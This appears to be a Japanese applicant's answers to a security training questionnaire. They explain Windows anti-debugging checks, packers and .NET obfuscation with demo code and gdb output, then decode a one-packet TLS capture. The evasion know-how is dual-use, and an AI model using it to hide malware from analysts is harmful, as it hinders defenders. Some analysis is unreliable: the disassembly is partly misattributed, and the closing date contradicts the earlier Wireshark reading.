アンチデバッグ、難読化といった単語をキーワードとする技術について、あなたが知っていること、調べたことを具体的に記述してください。基本的にPCのソフトウェアにおける技術を想定していますが、他端末、またはハードウェアに関する内容でもかまいません。
アンチデバッグと言われて真っ先に思い付くのはIsDebuggerPresent()だ
以下のようなプログラムを組み、デバッグされている状態とされていない状態で実行してみた
kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ cat IsDebuggerPresent.c
#include <stdio.h>
#include <windows.h>

int main(){
        if (IsDebuggerPresent()){
                printf("Debugged\n");
        }
        else{
                printf("Not Debugged\n");
        }
		return 0;
}
kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ gcc IsDebuggerPresent.c -o IsDebuggerPresent

kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ ./IsDebuggerPresent.exe
Not Debugged

kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ gdb -q ./IsDebuggerPresent.exe
Reading symbols from ./IsDebuggerPresent.exe...done.
(gdb) run
Starting program: /cygdrive/C/Users/kkrnt/Desktop/IsDebuggerPresent.exe
[New Thread 5664.0x13c0]
[New Thread 5664.0xa3c]
Debugged
[Inferior 1 (process 5664) exited normally]
(gdb) q

このようにデバッグされているかどうかを判別することが可能だ
同じようなものにCheckRemoteDebuggerPresent()がある

kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ cat ./CheckRemoteDebuggerPresent.c
#include <stdio.h>
#include <windows.h>

int main(){
        BOOL flag;
        CheckRemoteDebuggerPresent(GetCurrentProcess(), &flag);
        if (flag){
                printf("Debugged\n");
        }
        else{
                printf("Not Debugged\n");
        }

        return 0;
}
kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ gcc CheckRemoteDebuggerPresent.c -o CheckRemoteDebuggerPresent

kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ ./CheckRemoteDebuggerPresent.exe
Not Debugged

kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ gdb -q ./CheckRemoteDebuggerPresent.exe
Reading symbols from ./CheckRemoteDebuggerPresent.exe...done.
(gdb) run
Starting program: /cygdrive/C/Users/kkrnt/Desktop/CheckRemoteDebuggerPresent.exe
[New Thread 744.0x1730]
[New Thread 744.0x7b0]
Debugged
[Inferior 1 (process 744) exited normally]
(gdb) q


IsDebuggerPresent()について調べてみる
上記で作成したIsDebuggerPresent.exeをgdbで逆アセンブルしてみると以下のようになっていた

kkrnt@arckty /cygdrive/C/Users/kkrnt/Desktop
$ gdb -q ./IsDebuggerPresent.exe
Reading symbols from ./IsDebuggerPresent.exe...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x004011a0 <+0>:     push   ebp
   0x004011a1 <+1>:     mov    ebp,esp
   0x004011a3 <+3>:     and    esp,0xfffffff0
   0x004011a6 <+6>:     sub    esp,0x10
   0x004011a9 <+9>:     call   0x4011e4 <__main>
   0x004011ae <+14>:    mov    eax,ds:0x4070c4
   0x004011b3 <+19>:    call   eax
   0x004011b5 <+21>:    test   eax,eax
   0x004011b7 <+23>:    je     0x4011c7 <main+39>
   0x004011b9 <+25>:    mov    DWORD PTR [esp],0x403060
   0x004011c0 <+32>:    call   0x4011ec <puts>
   0x004011c5 <+37>:    jmp    0x4011d3 <main+51>
   0x004011c7 <+39>:    mov    DWORD PTR [esp],0x403069
   0x004011ce <+46>:    call   0x4011ec <puts>
   0x004011d3 <+51>:    mov    eax,0x0
   0x004011d8 <+56>:    leave
   0x004011d9 <+57>:    ret
   0x004011da <+58>:    nop
   0x004011db <+59>:    nop
End of assembler dump.

IsDebuggerPresent()によるアンチデバッグを回避するだけならcall後のeaxを書き換えるなどで可能だが, そもそもIsDebuggerPresent()がどのようにして、自身がデバッグされているか否かを知ることが出来るのか調べてみる

(gdb) b *main+19
Breakpoint 1 at 0x4011b3
(gdb) run
Starting program: /cygdrive/C/Users/kkrnt/Desktop/IsDebuggerPresent.exe
[New Thread 3340.0xd9c]
[New Thread 3340.0x5d8]
[New Thread 3340.0x488]

Breakpoint 1, 0x004011b3 in main ()
(gdb) disas $eax
Dump of assembler code for function KERNEL32!IsDebuggerPresent:
   0x777cb02b <+0>:     jmp    0x777cb020 <WriteConsoleW+53>
   0x777cb02d <+2>:     nop
   0x777cb02e <+3>:     nop
   0x777cb02f <+4>:     nop
   0x777cb030 <+5>:     nop
   0x777cb031 <+6>:     nop
   0x777cb032 <+7>:     mov    edi,edi
   0x777cb034 <+9>:     push   ebp
   0x777cb035 <+10>:    mov    ebp,esp
   0x777cb037 <+12>:    push   ebx
   0x777cb038 <+13>:    mov    ebx,DWORD PTR [ebp+0x8]
   0x777cb03b <+16>:    push   esi
   0x777cb03c <+17>:    push   edi
   0x777cb03d <+18>:    test   ebx,ebx
   0x777cb03f <+20>:    je     0x777cb077 <KERNEL32!IsDebuggerPresent+76>
   0x777cb041 <+22>:    mov    edi,DWORD PTR [ebp+0x18]
   0x777cb044 <+25>:    test   edi,edi
   0x777cb046 <+27>:    je     0x777cb077 <KERNEL32!IsDebuggerPresent+76>
   0x777cb048 <+29>:    test   BYTE PTR [ebp+0x10],0x8
   0x777cb04c <+33>:    jne    0x777ef076 <SetThreadExecutionState+22161>
   0x777cb052 <+39>:    push   DWORD PTR [ebp+0x14]
   0x777cb055 <+42>:    push   0x2
   0x777cb057 <+44>:    push   0x1
   0x777cb059 <+46>:    push   ebx
   0x777cb05a <+47>:    call   DWORD PTR ds:0x77781320
   0x777cb060 <+53>:    mov    DWORD PTR [edi],eax
   0x777cb062 <+55>:    neg    eax
   0x777cb064 <+57>:    sbb    eax,eax
   0x777cb066 <+59>:    and    eax,0x3fffff77
   0x777cb06b <+64>:    add    eax,0xc0000089
   0x777cb070 <+69>:    pop    edi
   0x777cb071 <+70>:    pop    esi
   0x777cb072 <+71>:    pop    ebx
   0x777cb073 <+72>:    pop    ebp
   0x777cb074 <+73>:    ret    0x14
   0x777cb077 <+76>:    mov    eax,0xc000000d
   0x777cb07c <+81>:    jmp    0x777cb070 <KERNEL32!IsDebuggerPresent+69>
   0x777cb07e <+83>:    nop
   0x777cb07f <+84>:    nop
   0x777cb080 <+85>:    nop
   0x777cb081 <+86>:    nop
   0x777cb082 <+87>:    nop
   0x777cb083 <+88>:    mov    edi,edi
   0x777cb085 <+90>:    push   ebp
   0x777cb086 <+91>:    mov    ebp,esp
   0x777cb088 <+93>:    sub    esp,0xc
   0x777cb08b <+96>:    push   esi
   0x777cb08c <+97>:    mov    esi,DWORD PTR [ebp+0x8]
   0x777cb08f <+100>:   xor    eax,eax
   0x777cb091 <+102>:   cmp    esi,eax
   0x777cb093 <+104>:   je     0x777e0bcf <KERNEL32!GetProcessIdOfThread+33>
   0x777cb099 <+110>:   mov    ecx,DWORD PTR [ebp+0x1c]
   0x777cb09c <+113>:   cmp    ecx,eax
   0x777cb09e <+115>:   je     0x777e0bcf <KERNEL32!GetProcessIdOfThread+33>
   0x777cb0a4 <+121>:   mov    edx,DWORD PTR [ebp+0x18]
   0x777cb0a7 <+124>:   test   edx,0x700
   0x777cb0ad <+130>:   je     0x777e0bd9 <KERNEL32!GetProcessIdOfThread+43>
   0x777cb0b3 <+136>:   test   dl,0x8
   0x777cb0b6 <+139>:   jne    0x777ef0b3 <SetThreadExecutionState+22222>
   0x777cb0bc <+145>:   test   edx,0x100
   0x777cb0c2 <+151>:   jne    0x777cb0d9 <KERNEL32!IsDebuggerPresent+174>
   0x777cb0c4 <+153>:   mov    eax,DWORD PTR [ebp+0xc]
   0x777cb0c7 <+156>:   mov    DWORD PTR [ebp-0xc],eax
   0x777cb0ca <+159>:   test   edx,0x200
   0x777cb0d0 <+165>:   je     0x777e0bc1 <KERNEL32!GetProcessIdOfThread+19>
   0x777cb0d6 <+171>:   xor    eax,eax
   0x777cb0d8 <+173>:   inc    eax
   0x777cb0d9 <+174>:   push   ecx
   0x777cb0da <+175>:   push   eax
   0x777cb0db <+176>:   lea    eax,[ebp-0xc]
   0x777cb0de <+179>:   push   eax
   0x777cb0df <+180>:   push   esi
   0x777cb0e0 <+181>:   push   0x12
   0x777cb0e2 <+183>:   call   0x777cb0f1 <KERNEL32!IsDebuggerPresent+198>
   0x777cb0e7 <+188>:   pop    esi
   0x777cb0e8 <+189>:   leave
   0x777cb0e9 <+190>:   ret    0x18
   0x777cb0ec <+193>:   nop
   0x777cb0ed <+194>:   nop
   0x777cb0ee <+195>:   nop
   0x777cb0ef <+196>:   nop
   0x777cb0f0 <+197>:   nop
   0x777cb0f1 <+198>:   jmp    DWORD PTR ds:0x77781318
   0x777cb0f7 <+204>:   cmp    esi,ecx
   0x777cb0f9 <+206>:   je     0x777cae02 <KERNEL32!GetOEMCP+1050>
   0x777cb0ff <+212>:   mov    edx,ebx
   0x777cb101 <+214>:   not    edx
   0x777cb103 <+216>:   test   dl,0x2
   0x777cb106 <+219>:   je     0x777cae02 <KERNEL32!GetOEMCP+1050>
   0x777cb10c <+225>:   jmp    0x777e80e2 <KERNEL32!FoldStringW+197>
   0x777cb111 <+230>:   xor    eax,eax
   0x777cb113 <+232>:   inc    eax
   0x777cb114 <+233>:   mov    DWORD PTR [ebp-0x1c],eax
   0x777cb117 <+236>:   mov    DWORD PTR [ebp-0x4],ecx
   0x777cb11a <+239>:   mov    DWORD PTR [ebp-0x4],eax
   0x777cb11d <+242>:   mov    edi,DWORD PTR [ebp-0x44]
   0x777cb120 <+245>:   cmp    edi,ecx
   0x777cb122 <+247>:   jne    0x777e16b1 <LCMapStringA+410>
   0x777cb128 <+253>:   mov    esi,DWORD PTR [ebp-0x40]
   0x777cb12b <+256>:   cmp    esi,ecx
   0x777cb12d <+258>:   je     0x777cb140 <KERNEL32!IsDebuggerPresent+277>
   0x777cb12f <+260>:   cmp    DWORD PTR [ebp-0x24],ecx
   0x777cb132 <+263>:   jne    0x777ef537 <SetThreadExecutionState+23378>
   0x777cb138 <+269>:   lea    eax,[esi+0x10]
   0x777cb13b <+272>:   mov    DWORD PTR [ebp-0x5c],eax
   0x777cb13e <+275>:   xor    ecx,ecx
   0x777cb140 <+277>:   mov    DWORD PTR [ebp-0x28],ecx
   0x777cb143 <+280>:   mov    DWORD PTR [ebp-0x3c],ecx
   0x777cb146 <+283>:   cmp    DWORD PTR [ebp-0x24],ecx
   0x777cb149 <+286>:   jne    0x777ef563 <SetThreadExecutionState+23422>
   0x777cb14f <+292>:   mov    eax,DWORD PTR [ebp+0x20]
   0x777cb152 <+295>:   and    eax,0x1
   0x777cb155 <+298>:   mov    DWORD PTR [ebp-0x4c],eax
   0x777cb158 <+301>:   je     0x777cb188 <KERNEL32!IsDebuggerPresent+349>
   0x777cb15a <+303>:   mov    eax,DWORD PTR [ebp+0xc]
   0x777cb15d <+306>:   test   eax,0xffff0000
   0x777cb162 <+311>:   je     0x777e80f0 <KERNEL32!FoldStringW+211>
   0x777cb168 <+317>:   lea    eax,[ebp-0x88]
   0x777cb16e <+323>:   push   eax
   0x777cb16f <+324>:   lea    eax,[ebp-0x48]
   0x777cb172 <+327>:   push   eax
   0x777cb173 <+328>:   push   DWORD PTR [ebp+0xc]
   0x777cb176 <+331>:   call   0x777e8035 <KERNEL32!FoldStringW+24>
   0x777cb17b <+336>:   test   eax,eax
   0x777cb17d <+338>:   jge    0x777cb2db <KERNEL32!IsDebuggerPresent+688>
   0x777cb183 <+344>:   jmp    0x777ef5ec <SetThreadExecutionState+23559>
   0x777cb188 <+349>:   test   edi,edi
   0x777cb18a <+351>:   jne    0x777e16c7 <LCMapStringA+432>
   0x777cb190 <+357>:   test   esi,esi
   0x777cb192 <+359>:   je     0x777bbc9c <KERNEL32!GetProcessId+426>
   0x777cb198 <+365>:   movzx  eax,WORD PTR [esi+0xc]
   0x777cb19c <+369>:   cmp    DWORD PTR [ebp-0x3c],eax
   0x777cb19f <+372>:   jae    0x777bbc9c <KERNEL32!GetProcessId+426>
   0x777cb1a5 <+378>:   test   edi,edi
   0x777cb1a7 <+380>:   jne    0x777ef5f2 <SetThreadExecutionState+23565>
   0x777cb1ad <+386>:   cmp    DWORD PTR [ebp-0x30],0x0
   0x777cb1b1 <+390>:   jne    0x777ef777 <SetThreadExecutionState+23954>
   0x777cb1b7 <+396>:   test   esi,esi
   0x777cb1b9 <+398>:   je     0x777e80f8 <KERNEL32!FoldStringW+219>
   0x777cb1bf <+404>:   movzx  eax,WORD PTR [esi+0xc]
   0x777cb1c3 <+408>:   cmp    DWORD PTR [ebp-0x3c],eax
   0x777cb1c6 <+411>:   jae    0x777e80f8 <KERNEL32!FoldStringW+219>
   0x777cb1cc <+417>:   cmp    DWORD PTR [ebp-0x24],0x0
   0x777cb1d0 <+421>:   jne    0x777ef79d <SetThreadExecutionState+23992>
   0x777cb1d6 <+427>:   mov    eax,DWORD PTR [ebp-0x5c]
   0x777cb1d9 <+430>:   mov    esi,DWORD PTR [eax]
   0x777cb1db <+432>:   and    esi,0x7fffffff
   0x777cb1e1 <+438>:   add    esi,DWORD PTR [ebp-0x84]
   0x777cb1e7 <+444>:   mov    DWORD PTR [ebp+0x20],esi
   0x777cb1ea <+447>:   xor    ebx,ebx
   0x777cb1ec <+449>:   cmp    DWORD PTR [ebp-0x24],ebx
   0x777cb1ef <+452>:   jne    0x777ef7e4 <SetThreadExecutionState+24063>
   0x777cb1f5 <+458>:   movzx  eax,WORD PTR [esi]
   0x777cb1f8 <+461>:   lea    eax,[eax+eax*1+0x2]
   0x777cb1fc <+465>:   cmp    eax,DWORD PTR [ebp-0x78]
   0x777cb1ff <+468>:   jb     0x777cb257 <KERNEL32!IsDebuggerPresent+556>
   0x777cb201 <+470>:   cmp    DWORD PTR [ebp-0x20],ebx
   0x777cb204 <+473>:   jne    0x777ef857 <SetThreadExecutionState+24178>
   0x777cb20a <+479>:   cmp    DWORD PTR [ebp-0x24],ebx
   0x777cb20d <+482>:   jne    0x777ef878 <SetThreadExecutionState+24211>
   0x777cb213 <+488>:   movzx  eax,WORD PTR [esi]
   0x777cb216 <+491>:   lea    eax,[eax+eax*1+0x40]
   0x777cb21a <+495>:   and    eax,0xffffffc0
   0x777cb21d <+498>:   mov    DWORD PTR [ebp-0x78],eax
   0x777cb220 <+501>:   call   0x777cf503 <KERNEL32!GlobalFindAtomW+53>
   0x777cb225 <+506>:   mov    eax,DWORD PTR [eax+0x2c]
   0x777cb228 <+509>:   mov    DWORD PTR [ebp-0x90],eax
   0x777cb22e <+515>:   mov    eax,fs:0x18
   0x777cb234 <+521>:   push   DWORD PTR [ebp-0x78]
   0x777cb237 <+524>:   push   DWORD PTR [ebp-0x90]
   0x777cb23d <+530>:   mov    eax,DWORD PTR [eax+0x30]
   0x777cb240 <+533>:   push   DWORD PTR [eax+0x18]
   0x777cb243 <+536>:   call   DWORD PTR ds:0x77781600
   0x777cb249 <+542>:   mov    DWORD PTR [ebp-0x20],eax
   0x777cb24c <+545>:   cmp    eax,ebx
   0x777cb24e <+547>:   je     0x777ef749 <SetThreadExecutionState+23908>
   0x777cb254 <+553>:   mov    esi,DWORD PTR [ebp+0x20]
   0x777cb257 <+556>:   movzx  eax,WORD PTR [esi]
   0x777cb25a <+559>:   add    eax,eax
   0x777cb25c <+561>:   push   eax
   0x777cb25d <+562>:   lea    eax,[esi+0x2]
   0x777cb260 <+565>:   push   eax
   0x777cb261 <+566>:   mov    edi,DWORD PTR [ebp-0x20]
   0x777cb264 <+569>:   push   edi
   0x777cb265 <+570>:   call   0x777cf145 <WaitForMultipleObjectsEx+169>
   0x777cb26a <+575>:   add    esp,0xc
   0x777cb26d <+578>:   movzx  eax,WORD PTR [esi]
   0x777cb270 <+581>:   xor    ecx,ecx
   0x777cb272 <+583>:   mov    WORD PTR [edi+eax*2],cx
   0x777cb276 <+587>:   mov    edi,DWORD PTR [ebp-0x44]
   0x777cb279 <+590>:   mov    esi,DWORD PTR [ebp-0x40]
   0x777cb27c <+593>:   mov    eax,DWORD PTR [ebp-0x30]
   0x777cb27f <+596>:   test   eax,eax
   0x777cb281 <+598>:   jne    0x777ef8b3 <SetThreadExecutionState+24270>
   0x777cb287 <+604>:   cmp    DWORD PTR [ebp-0x20],0x0
   0x777cb28b <+608>:   je     0x777bbc9c <KERNEL32!GetProcessId+426>
   0x777cb291 <+614>:   mov    DWORD PTR [ebp-0x2c],0x2
   0x777cb298 <+621>:   test   BYTE PTR [ebp-0x2c],0x1
   0x777cb29c <+625>:   jne    0x777ef91a <SetThreadExecutionState+24373>
   0x777cb2a2 <+631>:   test   BYTE PTR [ebp-0x2c],0x2
   0x777cb2a6 <+635>:   je     0x777cb2b5 <KERNEL32!IsDebuggerPresent+650>
   0x777cb2a8 <+637>:   mov    eax,DWORD PTR [ebp-0x20]
   0x777cb2ab <+640>:   mov    DWORD PTR [ebp-0x60],eax
   0x777cb2ae <+643>:   add    DWORD PTR [ebp-0x5c],0x8
   0x777cb2b2 <+647>:   inc    DWORD PTR [ebp-0x3c]
   0x777cb2b5 <+650>:   cmp    DWORD PTR [ebp-0x4c],0x0
   0x777cb2b9 <+654>:   jne    0x777ef92c <SetThreadExecutionState+24391>
   0x777cb2bf <+660>:   push   DWORD PTR [ebp+0x14]
   0x777cb2c2 <+663>:   push   DWORD PTR [ebp-0x60]
   0x777cb2c5 <+666>:   push   DWORD PTR [ebp+0xc]
   0x777cb2c8 <+669>:   push   DWORD PTR [ebp+0x8]
   0x777cb2cb <+672>:   push   DWORD PTR [ebp+0x10]
   0x777cb2ce <+675>:   call   0x777cef24 <SwitchToFiber+324>
   0x777cb2d3 <+680>:   test   eax,eax
   0x777cb2d5 <+682>:   je     0x777cb386 <KERNEL32!FindAtomW+21>
   0x777cb2db <+688>:   mov    edi,DWORD PTR [ebp-0x44]
   0x777cb2de <+691>:   mov    esi,DWORD PTR [ebp-0x40]
   0x777cb2e1 <+694>:   jmp    0x777cb188 <KERNEL32!IsDebuggerPresent+349>
   0x777cb2e6 <+699>:   xor    esi,esi
   0x777cb2e8 <+701>:   mov    DWORD PTR [ebp-0x4],esi
   0x777cb2eb <+704>:   call   0x777cb304 <KERNEL32!IsDebuggerPresent+729>
   0x777cb2f0 <+709>:   mov    DWORD PTR [ebp-0x4],0xfffffffe
   0x777cb2f7 <+716>:   mov    eax,DWORD PTR [ebp-0x1c]
   0x777cb2fa <+719>:   jmp    0x777cae1d <KERNEL32!GetOEMCP+1077>
   0x777cb2ff <+724>:   nop
   0x777cb300 <+725>:   nop
   0x777cb301 <+726>:   nop
   0x777cb302 <+727>:   nop
   0x777cb303 <+728>:   nop
   0x777cb304 <+729>:   push   DWORD PTR [ebp-0x64]
   0x777cb307 <+732>:   call   0x777cd1b2 <KERNEL32!CompareStringW+1138>
   0x777cb30c <+737>:   mov    edi,DWORD PTR ds:0x7778161c
   0x777cb312 <+743>:   cmp    DWORD PTR [ebp-0x30],esi
   0x777cb315 <+746>:   jne    0x777efa12 <SetThreadExecutionState+24621>
   0x777cb31b <+752>:   cmp    DWORD PTR [ebp-0x20],esi
   0x777cb31e <+755>:   je     0x777cb335 <KERNEL32!IsDebuggerPresent+778>
   0x777cb320 <+757>:   mov    eax,fs:0x18
   0x777cb326 <+763>:   push   DWORD PTR [ebp-0x20]
   0x777cb329 <+766>:   push   esi
   0x777cb32a <+767>:   mov    eax,DWORD PTR [eax+0x30]
   0x777cb32d <+770>:   push   DWORD PTR [eax+0x18]
   0x777cb330 <+773>:   call   edi
   0x777cb332 <+775>:   mov    DWORD PTR [ebp-0x20],esi
   0x777cb335 <+778>:   test   DWORD PTR [ebp-0x48],0xffff0000
   0x777cb33c <+785>:   jne    0x777e8107 <KERNEL32!FoldStringW+234>
   0x777cb342 <+791>:   cmp    DWORD PTR [ebp-0x68],esi
   0x777cb345 <+794>:   jne    0x777efa2c <SetThreadExecutionState+24647>
   0x777cb34b <+800>:   ret
   0x777cb34c <+801>:   mov    BYTE PTR [ebp-0x19],bl
   0x777cb34f <+804>:   lea    edi,[ebp-0x19]
   0x777cb352 <+807>:   jmp    0x777d163e <RegOpenKeyExA+129>
   0x777cb357 <+812>:   cmp    DWORD PTR [ebp-0x28],ebx
   0x777cb35a <+815>:   jne    0x777f9d93 <SetThreadExecutionState+66478>
   0x777cb360 <+821>:   jmp    0x777d16d5 <RegOpenKeyExA+280>
   0x777cb365 <+826>:   push   0x6
   0x777cb367 <+828>:   jmp    0x777f9e36 <SetThreadExecutionState+66641>
   0x777cb36c <+833>:   nop
   0x777cb36d <+834>:   nop
   0x777cb36e <+835>:   nop
   0x777cb36f <+836>:   nop
   0x777cb370 <+837>:   nop
End of assembler dump.


長いので簡単に纏めると
   0x777cb22e <+515>:   mov    eax,fs:0x18
   0x777cb23d <+530>:   mov    eax,DWORD PTR [eax+0x30]
   0x777cb257 <+556>:   movzx  eax,WORD PTR [esi]
このようにThread Environment Blockのアドレスを取得し, そこからProcess Environment Blockのアドレスを取得し, そこからBeingDebuggedの値を取得しているようで, 0x01のときがデバッグされていることを示し, 0x00のときがデバッグされていないことを示す

またProcess Environment Blockの0x68オフセットのNtGlobalFlagの値が0x00のときはデバッグされてなく, 0x70のときはデバッグされている

加えて, CheckRemoteDebuggerPresent()はNtQueryInformationProcess()を利用しているため, Process Environment BlockのBeingDebuggedの値を0x00に設定した上で, NtQueryInformationProcess()の第4引数を0x00に設定しなければいけない



こうした関数的なアンチでバッグの他に、ソフトウェアパッカーがある

ソフトウェアパッカーは実行可能なコードを圧縮や難読化し, それをメモリ上で展開し, 実行することで解析を困難にする

パックされたプログラムは圧縮・暗号化等されたオリジナルのコードを展開するためのルーチンを実行し, その処理が終了するとオリジナルのコードを実行していく
その展開コード付近に上記で書いたようなアンチデバッグ機能を動作させ, 圧縮・難読化等されたコードを解析することを防ごうとするものが多い

パックされたプログラムをアンパックする手法としては, オリジナルのエントリポイントまで処理を進め, その際のメモリをダンプし, ダンプしたデータのInport Address Talbleを構築し直すなどがある

また, 有名なパッカーはアンパッカーが存在することもある
(UPXなどはアンパックルーチンも提供されている)

アンパックを妨害する手段として, IATを構築しにくくするImport Redirectionや, ダンプ時のデータサイズを非常に大きなものにして妨害するSizeOfImage, 動的に確保した領域にオリジナルのエントリポイントの一部をコピーしてメモリダンプを妨害するStolen Codesなどがある



実行可能ファイルの難読化に関しては, .NET Frameworks系のソフトウェアの難読化が思い付く

Visual BasicやC#などで作成されたプログラムはILSpyなどを利用することで非常に簡単に元のソースコードに近いものを得ることが出来る

それを防ぐ手段として余計なif文などの制御文を挿入しプログラムの動作を推測し辛くしたり, 変数名などのメタデータを一般化したり, CSharpCodeProviderなどを利用してパッカーのようにプログラムの一部を暗号化等し内部で格納しておき実行時に復号しつつ実行させるなどがある


選択問題11

下記バイナリを解析し、判明した情報を自由に記述してください
------------------------------------------------
D4 C3 B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 
00 00 04 00 01 00 00 00 88 EB 40 54 A2 BE 09 00 
52 00 00 00 52 00 00 00 22 22 22 22 22 22 11 11 
11 11 11 11 08 00 45 00 00 44 1A BD 40 00 80 06 
3A 24 C0 A8 92 01 C0 A8 92 80 10 26 01 BB 86 14 
7E 80 08 B3 C8 21 50 18 00 FC 0D 0E 00 00 18 03 
03 00 17 01 0E FB 06 F6 CD A3 69 DC CA 0B 99 FF 
1D 26 09 E1 52 8F 71 77 45 FA
------------------------------------------------
バイナリをファイルに書き出しfileコマンドを実行してみた

kkrnt@arckty /cygdrive/c/Users/kkrnt/Desktop
$ hexdump -C q11
00000000  d4 c3 b2 a1 02 00 04 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 04 00 01 00 00 00  88 eb 40 54 a2 be 09 00  |..........@T....|
00000020  52 00 00 00 52 00 00 00  22 22 22 22 22 22 11 11  |R...R...""""""..|
00000030  11 11 11 11 08 00 45 00  00 44 1a bd 40 00 80 06  |......E..D..@...|
00000040  3a 24 c0 a8 92 01 c0 a8  92 80 10 26 01 bb 86 14  |:$.........&....|
00000050  7e 80 08 b3 c8 21 50 18  00 fc 0d 0e 00 00 18 03  |~....!P.........|
00000060  03 00 17 01 0e fb 06 f6  cd a3 69 dc ca 0b 99 ff  |..........i.....|
00000070  1d 26 09 e1 52 8f 71 77  45 fa                    |.&..R.qwE.|
0000007a

kkrnt@arckty /cygdrive/c/Users/kkrnt/Desktop
$ file q11
q11: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)


パケットデータであることが分かったのでWiresharkに読み込ませると以下のことが分かった
・1パケットの通信である
・192.168.146.1の4134ポートから192.168.146.128の443ポートに向けて送信されている
・プロトコルはTLSv1.2である
・JSTでOct 17, 2014 19:12:24.638626000に通信が到達した
・11:11:11:11:11:11から22:22:22:22:22:22というMAC AddressでEthernetⅡを利用して通信している

以上のことから問題のバイナリデータは、JSTの2014年8月17日の19:12:24.638626000頃に、192.168.146.1の4134ポート(Mac Addressは11:11:11:11:11:11)から192.168.146.128の443ポート(Mac Addressは22:22:22:22:22:22)に向けて送信されたTLSv1.2の1パケットをキャプチャしたバイナリデータである